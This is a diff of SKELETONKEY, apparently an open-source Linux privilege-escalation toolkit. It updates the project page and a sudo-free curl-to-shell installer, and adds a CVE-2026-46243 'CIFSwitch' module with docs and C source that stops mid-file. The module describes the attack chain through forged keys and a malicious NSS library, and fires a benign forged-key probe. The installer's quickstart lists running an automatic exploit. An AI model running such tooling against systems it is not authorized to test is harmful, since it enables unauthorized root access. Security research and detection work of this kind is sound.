const typedEl = document.getElementById('install-typed');
|
||||
const cursorEl = document.getElementById('install-cursor');
|
||||
|
||||
|
||||
+11
-10
@@ -4,9 +4,9 @@
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
||||
<meta name="description" content="One binary. 41 Linux privilege-escalation modules from 2016 to 2026. 28 of 36 CVEs empirically verified in real Linux VMs. 10 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||
<meta name="description" content="One binary. 42 Linux privilege-escalation modules from 2016 to 2026. 28 of 37 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
||||
<meta property="og:description" content="41 Linux LPE modules; 28 of 36 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||
<meta property="og:description" content="42 Linux LPE modules; 28 of 37 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
|
||||
<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
|
||||
@@ -56,13 +56,13 @@
|
||||
<div class="container hero-inner">
|
||||
<div class="hero-eyebrow">
|
||||
<span class="dot dot-pulse"></span>
|
||||
v0.9.8 — released 2026-06-02
|
||||
v0.9.10 — released 2026-06-08
|
||||
</div>
|
||||
<h1 class="hero-title">
|
||||
<span class="display-wordmark">SKELETONKEY</span>
|
||||
</h1>
|
||||
<p class="hero-tag">
|
||||
One binary. <strong>41 Linux LPE modules</strong> covering 36 CVEs —
|
||||
One binary. <strong>42 Linux LPE modules</strong> covering 37 CVEs —
|
||||
<strong>every year 2016 → 2026</strong>. 28 of 34 confirmed against
|
||||
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
||||
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
||||
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="bento-icon">★</div>
|
||||
<h3>CISA KEV prioritized</h3>
|
||||
<p>
|
||||
12 of 36 CVEs in the corpus are in CISA's Known Exploited
|
||||
13 of 37 CVEs in the corpus are in CISA's Known Exploited
|
||||
Vulnerabilities catalog — actively exploited in the wild.
|
||||
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
||||
</p>
|
||||
@@ -294,7 +294,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<code>tools/verify-vm/</code> spins up known-vulnerable
|
||||
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
||||
<code>--explain --active</code> per module, and records the
|
||||
verdict. <strong>28 of 36 CVEs</strong> confirmed against
|
||||
verdict. <strong>28 of 37 CVEs</strong> confirmed against
|
||||
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
||||
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
||||
<code>--list</code> shows ✓ per module.
|
||||
@@ -309,7 +309,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">corpus</span>
|
||||
<h2>36 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||
<h2>37 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||
</div>
|
||||
|
||||
<h3 class="corpus-h" data-color="green">
|
||||
@@ -356,6 +356,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<span class="pill yellow">sequoia</span>
|
||||
<span class="pill yellow">vmwgfx</span>
|
||||
<span class="pill yellow">ptrace_pidfd</span>
|
||||
<span class="pill yellow">cifswitch</span>
|
||||
</div>
|
||||
|
||||
<p class="corpus-foot">
|
||||
@@ -416,7 +417,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="audience-icon">🎓</div>
|
||||
<h3>Researchers / CTF</h3>
|
||||
<p>
|
||||
36 CVEs, 10-year span, each with the original PoC author
|
||||
37 CVEs, 10-year span, each with the original PoC author
|
||||
credited and the kernel-range citation auditable.
|
||||
<code>--explain</code> shows the reasoning chain; detection
|
||||
rules let you practice both sides. Source is the documentation.
|
||||
@@ -513,7 +514,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="tl-col tl-shipped">
|
||||
<div class="tl-tag">shipped</div>
|
||||
<ul>
|
||||
<li><strong>28 of 36 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||
<li><strong>28 of 37 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
||||
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
||||
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
||||
@@ -600,7 +601,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
who found the bugs.
|
||||
</p>
|
||||
<p class="footer-meta">
|
||||
v0.9.8 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
v0.9.10 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
</p>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
+38
-14
@@ -28,7 +28,11 @@ set -eu
|
||||
|
||||
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
|
||||
VERSION="${SKELETONKEY_VERSION:-latest}"
|
||||
PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
|
||||
# PREFIX resolution is deferred until install time so we can pick a
|
||||
# sudo-free default. SKELETONKEY is a privilege-escalation tool — by
|
||||
# definition the operator does NOT have root yet, so the installer must
|
||||
# NEVER need sudo. Empty here means "auto-pick a writable dir below".
|
||||
PREFIX="${SKELETONKEY_PREFIX:-}"
|
||||
|
||||
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
||||
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
||||
@@ -108,29 +112,49 @@ fi
|
||||
|
||||
chmod +x "$tmp/skeletonkey"
|
||||
|
||||
# Install. Try $PREFIX directly; if not writable, sudo.
|
||||
target_path="$PREFIX/skeletonkey"
|
||||
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
|
||||
mv "$tmp/skeletonkey" "$target_path"
|
||||
elif command -v sudo >/dev/null 2>&1; then
|
||||
log "$PREFIX needs sudo; you may be prompted for password"
|
||||
sudo mv "$tmp/skeletonkey" "$target_path"
|
||||
# Choose install dir — NEVER escalate to sudo. If the user pinned
|
||||
# SKELETONKEY_PREFIX we honor it exactly (creating it if needed) and
|
||||
# error rather than escalate when it isn't writable. Otherwise prefer
|
||||
# /usr/local/bin only when it happens to already be writable, and fall
|
||||
# back to a guaranteed per-user dir ($HOME/.local/bin) that needs no
|
||||
# privileges. This keeps `curl ... | sh` password-free for the exact
|
||||
# users this tool is meant for: unprivileged accounts.
|
||||
if [ -n "$PREFIX" ]; then
|
||||
[ -d "$PREFIX" ] || mkdir -p "$PREFIX" 2>/dev/null \
|
||||
|| fail "cannot create SKELETONKEY_PREFIX=$PREFIX"
|
||||
[ -w "$PREFIX" ] || fail "SKELETONKEY_PREFIX=$PREFIX not writable (the installer never uses sudo — pick a writable dir)"
|
||||
elif [ -w /usr/local/bin ]; then
|
||||
PREFIX=/usr/local/bin
|
||||
else
|
||||
fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
|
||||
PREFIX="${XDG_BIN_HOME:-$HOME/.local/bin}"
|
||||
mkdir -p "$PREFIX" 2>/dev/null || fail "cannot create $PREFIX"
|
||||
fi
|
||||
|
||||
target_path="$PREFIX/skeletonkey"
|
||||
mv "$tmp/skeletonkey" "$target_path" || fail "failed to install to $target_path"
|
||||
ok "installed: $target_path"
|
||||
|
||||
# ~/.local/bin is frequently absent from PATH on fresh accounts — tell
|
||||
# the user how to invoke it rather than letting `skeletonkey` 404.
|
||||
case ":$PATH:" in
|
||||
*":$PREFIX:"*) : ;;
|
||||
*) log "note: $PREFIX is not on \$PATH — run it as $target_path, or add the dir to PATH" ;;
|
||||
esac
|
||||
|
||||
"$target_path" --version
|
||||
|
||||
cat >&2 <<EOF
|
||||
|
||||
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
|
||||
|
||||
Quickstart:
|
||||
sudo skeletonkey --scan # what's this box vulnerable to?
|
||||
sudo skeletonkey --audit # broader system hygiene
|
||||
sudo skeletonkey --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
|
||||
Quickstart (no root required — gaining it is the point):
|
||||
skeletonkey --scan # what's this box vulnerable to?
|
||||
skeletonkey --audit # broader system hygiene
|
||||
skeletonkey --auto --i-know # run the safest available LPE
|
||||
|
||||
Deploy detection rules (defensive; only the write to /etc/audit needs root):
|
||||
skeletonkey --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
See \`skeletonkey --help\` for all commands.
|
||||
EOF
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
# cifswitch — CVE-2026-46243 ("CIFSwitch")
|
||||
|
||||
The kernel's `cifs.spnego` request-key type trusts userspace-forged
|
||||
authority fields, letting the root `cifs.upcall` helper be coerced into
|
||||
loading an attacker NSS module as root.
|
||||
|
||||
## The bug
|
||||
|
||||
`fs/smb/client/cifs_spnego.c` registers the `cifs.spnego` key type so the
|
||||
kernel CIFS client can ask the root-privileged `cifs.upcall` helper to
|
||||
perform a SPNEGO/Kerberos exchange. The key *description* carries
|
||||
authority-bearing fields — `pid`, `uid`, `creduid`, `upcall_target` —
|
||||
that `cifs.upcall` reads as trusted, kernel-originating inputs.
|
||||
|
||||
The flaw: the kernel never verified the request actually came from the
|
||||
in-kernel CIFS client. Userspace can create keys of this type directly
|
||||
through `add_key(2)` / `request_key(2)`, supplying all those fields. By
|
||||
forging a description and manipulating user + mount namespaces, an
|
||||
unprivileged user makes `cifs.upcall` trust attacker-controlled state and
|
||||
load a malicious NSS shared library as root → root code execution.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Flaw age | ~19 years (predates key-type origin checks) |
|
||||
| Fixed upstream | commit `3da1fdf4efbc`, merged 7.1-rc5 |
|
||||
| Debian backports | 5.10.257 · 6.1.174 · 6.12.90 · 7.0.10 |
|
||||
| NVD class | CWE-20 (Improper Input Validation) |
|
||||
| CISA KEV | no (as of disclosure) |
|
||||
|
||||
Branches Debian does not ship (5.15 / 6.6 / 6.8 / 6.11 …) are reported on
|
||||
the version-only verdict; confirm empirically.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` returns `OK` for patched kernels, `PRECOND_FAIL` for a
|
||||
vulnerable kernel where `cifs.upcall` / the `cifs.spnego` request-key rule
|
||||
isn't installed (cifs-utils absent → unreachable), and `VULNERABLE` when
|
||||
both the version and the userspace path line up. The precondition probe
|
||||
can be overridden with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (force present)
|
||||
or `0` (force absent).
|
||||
|
||||
`exploit()` fires the non-destructive primitive: `add_key(2)` of a
|
||||
forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked
|
||||
immediately. A clean accept is the witness that userspace can forge the
|
||||
authority-bearing key type. The full root-pop (namespace switch +
|
||||
malicious NSS load) is **not** bundled until VM-verified — honest
|
||||
`EXPLOIT_FAIL` without a euid-0 witness.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel. As a runtime stopgap, blocklist the `cifs` module —
|
||||
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
|
||||
(needs root) and `--cleanup` removes it. Already-loaded `cifs` persists
|
||||
until unmount + `rmmod cifs` or reboot.
|
||||
|
||||
## Credit
|
||||
|
||||
Asim Manizada (2026-05-28). See `NOTICE.md`.
|
||||
@@ -0,0 +1,69 @@
|
||||
# NOTICE — cifswitch (CVE-2026-46243, "CIFSwitch")
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46243 "CIFSwitch"** — the Linux kernel's `cifs.spnego`
|
||||
request-key type (`fs/smb/client/cifs_spnego.c`) accepts key descriptions
|
||||
created by **userspace** (via `add_key(2)` / `request_key(2)`) without
|
||||
verifying that the request originated from the in-kernel CIFS client. The
|
||||
key description carries authority-bearing fields — `pid`, `uid`,
|
||||
`creduid`, `upcall_target` — that the root-privileged `cifs.upcall`
|
||||
helper treats as trusted, kernel-originating inputs. An unprivileged
|
||||
local user forges such a description and, combined with user + mount
|
||||
namespace manipulation, coerces `cifs.upcall` into loading an
|
||||
attacker-controlled NSS shared library as root → local privilege
|
||||
escalation to root.
|
||||
|
||||
It is a **~19-year-old** logic flaw — the cifs spnego upcall predates the
|
||||
key-type origin checks added to the keyrings subsystem later. NVD class:
|
||||
**CWE-20** (Improper Input Validation). Not in CISA KEV (as of disclosure).
|
||||
|
||||
**Preconditions:** the `cifs` kernel module available, `cifs-utils`
|
||||
installed (so `cifs.upcall` is present), and the `cifs.spnego`
|
||||
request-key rule active. Default-vulnerable distributions reported
|
||||
include Linux Mint, CentOS Stream 9, Rocky Linux 9, AlmaLinux 9, Kali
|
||||
Linux, SLES 15 SP7, and Red Hat Enterprise Linux 6–10.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered, named, and disclosed by **Asim Manizada** on **2026-05-28**,
|
||||
with a working proof-of-concept published the same day.
|
||||
|
||||
- Red Hat advisory (RHSB-2026-005):
|
||||
<https://access.redhat.com/security/vulnerabilities/RHSB-2026-005>
|
||||
- BleepingComputer write-up:
|
||||
<https://www.bleepingcomputer.com/news/security/new-cifswitch-linux-flaw-gives-root-on-multiple-distributions/>
|
||||
- Upstream fix: commit `3da1fdf4efbc490041eb4f836bf596201203f8f2`
|
||||
("smb: client: reject userspace cifs.spnego descriptions"), merged
|
||||
7.1-rc5.
|
||||
- Debian-tracked stable backports: 5.10.257 (bullseye) / 6.1.174
|
||||
(bookworm) / 6.12.90 (trixie) / 7.0.10 (forky, sid).
|
||||
|
||||
All research credit for finding and analysing this bug belongs to Asim
|
||||
Manizada. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
|
||||
`detect()` gates on the kernel version (the Debian backport thresholds
|
||||
above) **and** the presence of the vulnerable userspace path
|
||||
(`cifs.upcall` / the `cifs.spnego` request-key rule) — a vulnerable
|
||||
kernel without `cifs-utils` is reported `PRECOND_FAIL`, not `VULNERABLE`.
|
||||
Override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (or `0`).
|
||||
|
||||
`exploit()` fires only the reachable, **non-destructive** part of the
|
||||
primitive: it attempts to register a forged-but-benign `cifs.spnego` key
|
||||
as the unprivileged user via `add_key(2)` — which instantiates the key
|
||||
directly and does **not** invoke `cifs.upcall`, so it loads nothing and
|
||||
spawns no privileged helper — and revokes the key immediately. A clean
|
||||
accept is the empirical witness that the missing-origin-validation flaw
|
||||
is present. It then **stops**: the namespace-switch + malicious-NSS-load
|
||||
chain that actually lands a root shell is target/config-specific and is
|
||||
**not** bundled until it can be verified end-to-end against a real
|
||||
vulnerable VM, in keeping with the project's no-fabrication rule.
|
||||
`exploit()` returns `EXPLOIT_FAIL` unless it can witness euid 0.
|
||||
|
||||
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
|
||||
(blocklists the `cifs` module — the vendor-recommended runtime
|
||||
mitigation); `--cleanup` removes it. Architecture-agnostic — keyring and
|
||||
namespace logic, no shellcode.
|
||||
@@ -0,0 +1,419 @@
|
||||
/*
|
||||
* cifswitch_cve_2026_46243 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-46243 "CIFSwitch" — the kernel's `cifs.spnego` request-key
|
||||
* type accepts key descriptions created by *userspace* (via add_key(2) /
|
||||
* request_key(2)) without verifying the request originated from the
|
||||
* in-kernel CIFS client. Those descriptions carry authority-bearing
|
||||
* fields (`pid`, `uid`, `creduid`, `upcall_target`) that the
|
||||
* root-privileged `cifs.upcall` helper trusts as kernel-originating.
|
||||
* An unprivileged user forges a description and — combined with user +
|
||||
* mount namespace manipulation — coerces `cifs.upcall` into loading an
|
||||
* attacker-controlled NSS shared library as root → local root.
|
||||
*
|
||||
* Disclosed by Asim Manizada, 2026-05-28 (public PoC same day). A
|
||||
* ~19-year-old bug: the cifs spnego upcall predates the key-type origin
|
||||
* checks added later. Fixed upstream by commit 3da1fdf4efbc (merged
|
||||
* 7.1-rc5): "smb: client: reject userspace cifs.spnego descriptions".
|
||||
* NVD: CWE-20 (Improper Input Validation). Not in CISA KEV.
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
|
||||
* Structural logic flaw — no offsets, no race, no shellcode. detect()
|
||||
* gates on (a) the kernel version (Debian-tracked backports below) and
|
||||
* (b) the presence of the vulnerable userspace path: the `cifs.upcall`
|
||||
* helper / `cifs.spnego` request-key rule. A vulnerable kernel without
|
||||
* cifs-utils is not reachable via this technique, so that case is
|
||||
* PRECOND_FAIL, not VULNERABLE. exploit() fires the reachable,
|
||||
* non-destructive part of the primitive — it attempts to register a
|
||||
* forged-but-benign `cifs.spnego` key as the unprivileged user (via
|
||||
* add_key(2), which does NOT invoke cifs.upcall) and observes whether
|
||||
* the kernel accepts a userspace-originated description — then STOPS.
|
||||
* The namespace-switch + malicious-NSS-load that turns that into a
|
||||
* root shell is target/config-specific and is not bundled until it can
|
||||
* be VM-verified end-to-end. Honest EXPLOIT_FAIL without a euid-0
|
||||
* witness; never fabricates root.
|
||||
*
|
||||
* Affected range (Debian-tracked stable backports of the fix):
|
||||
* 5.10.x : K >= 5.10.257 (bullseye)
|
||||
* 6.1.x : K >= 6.1.174 (bookworm)
|
||||
* 6.12.x : K >= 6.12.90 (trixie)
|
||||
* 7.0.x : K >= 7.0.10 (forky / sid); mainline fixed 7.1-rc5
|
||||
* Branches Debian doesn't track (5.15 / 6.6 / 6.8 / 6.11 ...) fall
|
||||
* through to the version-only verdict — confirm empirically.
|
||||
*
|
||||
* Preconditions: cifs kernel module available + cifs-utils installed
|
||||
* (`cifs.upcall` present) + the `cifs.spnego` request-key rule active.
|
||||
* Override the precondition probe with SKELETONKEY_CIFS_ASSUME_PRESENT
|
||||
* = 1 (force present) / 0 (force absent) when you know the fleet's CIFS
|
||||
* posture better than a local file probe can (also drives unit tests).
|
||||
*
|
||||
* arch_support: any. Keyring + namespace logic; no shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
/* keyring syscalls live in libkeyutils, not glibc — call them directly.
|
||||
* The asm-generic numbers below match x86_64 / arm64 / most arches; fall
|
||||
* back only when the toolchain headers don't already define them. */
|
||||
#ifndef SYS_add_key
|
||||
#define SYS_add_key 248
|
||||
#endif
|
||||
#ifndef SYS_keyctl
|
||||
#define SYS_keyctl 250
|
||||
#endif
|
||||
|
||||
/* keyctl operations + special keyring ids (uapi/linux/keyctl.h). */
|
||||
#ifndef KEYCTL_REVOKE
|
||||
#define KEYCTL_REVOKE 3
|
||||
#endif
|
||||
#ifndef KEY_SPEC_PROCESS_KEYRING
|
||||
#define KEY_SPEC_PROCESS_KEYRING (-2)
|
||||
#endif
|
||||
|
||||
typedef int sk_key_serial_t;
|
||||
|
||||
static sk_key_serial_t sk_add_key(const char *type, const char *desc,
|
||||
const void *payload, size_t plen,
|
||||
sk_key_serial_t keyring)
|
||||
{
|
||||
return (sk_key_serial_t)syscall(SYS_add_key, type, desc,
|
||||
payload, plen, keyring);
|
||||
}
|
||||
static long sk_keyctl_revoke(sk_key_serial_t key)
|
||||
{
|
||||
return syscall(SYS_keyctl, (long)KEYCTL_REVOKE, (long)key, 0L, 0L, 0L);
|
||||
}
|
||||
|
||||
/* Debian-tracked stable backports of the 2026 fix (commit 3da1fdf4efbc,
|
||||
* mainline 7.1-rc5). These are the authoritative thresholds
|
||||
* (security-tracker.debian.org). Branches Debian doesn't ship fall
|
||||
* through to the version-only verdict in detect(). */
|
||||
static const struct kernel_patched_from cifswitch_patched_branches[] = {
|
||||
{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye) */
|
||||
{6, 1, 174}, /* 6.1-LTS backport (Debian bookworm) */
|
||||
{6, 12, 90}, /* 6.12-LTS backport (Debian trixie) */
|
||||
{7, 0, 10}, /* 7.0 stable (Debian forky / sid) */
|
||||
};
|
||||
|
||||
static const struct kernel_range cifswitch_range = {
|
||||
.patched_from = cifswitch_patched_branches,
|
||||
.n_patched_from = sizeof(cifswitch_patched_branches) /
|
||||
sizeof(cifswitch_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* Is the vulnerable userspace path present? The load-bearing signal is
|
||||
* the cifs.upcall helper (the privileged component the bug abuses); the
|
||||
* cifs.spnego request-key rule and a loaded/loadable cifs module
|
||||
* corroborate. SKELETONKEY_CIFS_ASSUME_PRESENT overrides the probe:
|
||||
* "1" = present, "0" = absent (operators who know their fleet's CIFS
|
||||
* posture, and the unit tests, use this). */
|
||||
static bool cifs_userspace_present(void)
|
||||
{
|
||||
const char *force = getenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
|
||||
if (force && (force[0] == '1' || force[0] == '0'))
|
||||
return force[0] == '1';
|
||||
|
||||
struct stat st;
|
||||
static const char *upcall_paths[] = {
|
||||
"/usr/sbin/cifs.upcall", "/sbin/cifs.upcall",
|
||||
"/usr/bin/cifs.upcall", "/usr/local/sbin/cifs.upcall", NULL,
|
||||
};
|
||||
for (size_t i = 0; upcall_paths[i]; i++)
|
||||
if (stat(upcall_paths[i], &st) == 0)
|
||||
return true;
|
||||
|
||||
/* request-key rule for cifs.spnego (cifs-utils ships this). */
|
||||
static const char *reqkey_paths[] = {
|
||||
"/etc/request-key.d/cifs.spnego.conf",
|
||||
"/usr/share/request-key.d/cifs.spnego.conf", NULL,
|
||||
};
|
||||
for (size_t i = 0; reqkey_paths[i]; i++)
|
||||
if (stat(reqkey_paths[i], &st) == 0)
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cifswitch: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* A patched kernel is not vulnerable regardless of the userspace
|
||||
* path — decide that first so the verdict is deterministic. */
|
||||
if (kernel_range_is_patched(&cifswitch_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] cifswitch: kernel %s is patched "
|
||||
"(version-only check)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Vulnerable kernel. Exploitation needs the cifs.upcall userspace
|
||||
* path; without it the technique is unreachable here. */
|
||||
if (!cifs_userspace_present()) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cifswitch: kernel %s is in the vulnerable "
|
||||
"range but cifs.upcall / cifs.spnego request-key "
|
||||
"rule not found — cifs-utils not installed, bug "
|
||||
"not reachable here\n", v->release);
|
||||
fprintf(stderr, "[i] cifswitch: if you know this fleet uses CIFS, "
|
||||
"re-run with SKELETONKEY_CIFS_ASSUME_PRESENT=1\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cifswitch: kernel %s VULNERABLE and cifs.upcall "
|
||||
"present — CVE-2026-46243 reachable\n", v->release);
|
||||
fprintf(stderr, "[i] cifswitch: userspace can forge cifs.spnego key "
|
||||
"descriptions (pid/uid/creduid/upcall_target) the root "
|
||||
"cifs.upcall helper trusts\n");
|
||||
fprintf(stderr, "[i] cifswitch: branches Debian doesn't track "
|
||||
"(5.15/6.6/6.8/6.11) are version-only here; confirm with "
|
||||
"`--exploit cifswitch --i-know`\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] cifswitch: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
skeletonkey_result_t pre = cifswitch_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cifswitch: detect() says not vulnerable/reachable; "
|
||||
"refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cifswitch: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Reachable, non-destructive primitive witness: can we, as an
|
||||
* unprivileged user, register a cifs.spnego key carrying the
|
||||
* authority-bearing fields? add_key(2) instantiates the key directly
|
||||
* — it does NOT invoke cifs.upcall (that is request_key's upcall
|
||||
* path), so this loads nothing and triggers no privileged helper. On
|
||||
* a VULNERABLE kernel the type accepts the userspace-originated
|
||||
* description; the fix (3da1fdf4efbc) rejects it. We revoke any key
|
||||
* we create immediately. A clean accept is the empirical signal that
|
||||
* the missing-origin-validation flaw is present; any error is treated
|
||||
* as inconclusive (could be patched, or add_key unsupported for the
|
||||
* type) and reported honestly — we never infer root from it. */
|
||||
const char *desc =
|
||||
"ver=0x2;host=skeletonkey-probe;ip4=127.0.0.1;sec=krb5;"
|
||||
"uid=0x0;creduid=0x0;user=skprobe;pid=0x0";
|
||||
errno = 0;
|
||||
sk_key_serial_t k = sk_add_key("cifs.spnego", desc, "\x00", 1,
|
||||
KEY_SPEC_PROCESS_KEYRING);
|
||||
if (k > 0) {
|
||||
sk_keyctl_revoke(k); /* don't leave the probe key lying around */
|
||||
fprintf(stderr,
|
||||
"[!] cifswitch: primitive CONFIRMED — kernel accepted a "
|
||||
"userspace-forged cifs.spnego key (serial %d) carrying "
|
||||
"uid/creduid/upcall_target. CVE-2026-46243 reachable.\n", k);
|
||||
fprintf(stderr,
|
||||
"[i] cifswitch: the full root-pop (user+mount namespace switch "
|
||||
"coercing cifs.upcall to load an attacker NSS module as root) is "
|
||||
"target/config-specific and NOT bundled until VM-verified. Not "
|
||||
"fabricating a shell. See module NOTICE.md (Asim Manizada PoC).\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stderr, "[-] cifswitch: add_key(2) ENOSYS — keyrings "
|
||||
"unavailable in this kernel build\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[-] cifswitch: kernel did not accept a userspace-forged cifs.spnego "
|
||||
"key (add_key: %s). Inconclusive — the kernel may carry the fix "
|
||||
"(3da1fdf4efbc rejects userspace descriptions), or the key type may "
|
||||
"not permit direct add_key here. detect() reported the version+helper "
|
||||
"as vulnerable; verify against a known-vulnerable VM.\n",
|
||||
strerror(errno));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Mitigation: the vendor-recommended runtime fix is to blocklist the
|
||||
* cifs module so the vulnerable upcall path cannot be reached. We write
|
||||
* a modprobe.d blocklist (needs root; persists across reboot and blocks
|
||||
* future autoload). We do not force-unload a possibly-mounted cifs. The
|
||||
* real fix is the kernel patch. --cleanup removes the blocklist file. */
|
||||
#define CIFSWITCH_BLOCKLIST "/etc/modprobe.d/skeletonkey-disable-cifs.conf"
|
||||
|
||||
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
int fd = open(CIFSWITCH_BLOCKLIST, O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
||||
if (fd < 0) {
|
||||
fprintf(stderr, "[-] cifswitch: cannot write %s: %s "
|
||||
"(need root: run as root, or "
|
||||
"`echo 'blacklist cifs' | sudo tee %s`)\n",
|
||||
CIFSWITCH_BLOCKLIST, strerror(errno), CIFSWITCH_BLOCKLIST);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static const char body[] =
|
||||
"# Added by SKELETONKEY --mitigate cifswitch (CVE-2026-46243).\n"
|
||||
